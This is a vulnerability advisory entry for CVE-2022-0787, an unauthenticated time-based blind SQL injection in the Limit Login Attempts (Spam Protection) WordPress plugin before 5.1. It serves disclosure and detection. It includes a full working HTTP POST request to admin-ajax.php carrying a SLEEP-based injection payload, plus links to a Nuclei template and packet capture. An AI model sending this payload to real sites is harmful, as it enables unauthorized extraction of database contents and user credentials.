| Title | Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection via AJAX actions to extract database contents, potentially exposing WordPress user credentials and login attempt data. |
| Remediation | Fixed in version 5.1 |
| CVSS Score | 9.8 |
| EPSS Score | 0.47173 |
| CVE ID | CVE-2022-0787 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 wpscan sqli wordpress wp-plugin wp wp-limit-failed-login-attempts limit_login_attempts_project vuln |
The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0787.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0787.pcap
N/AN/A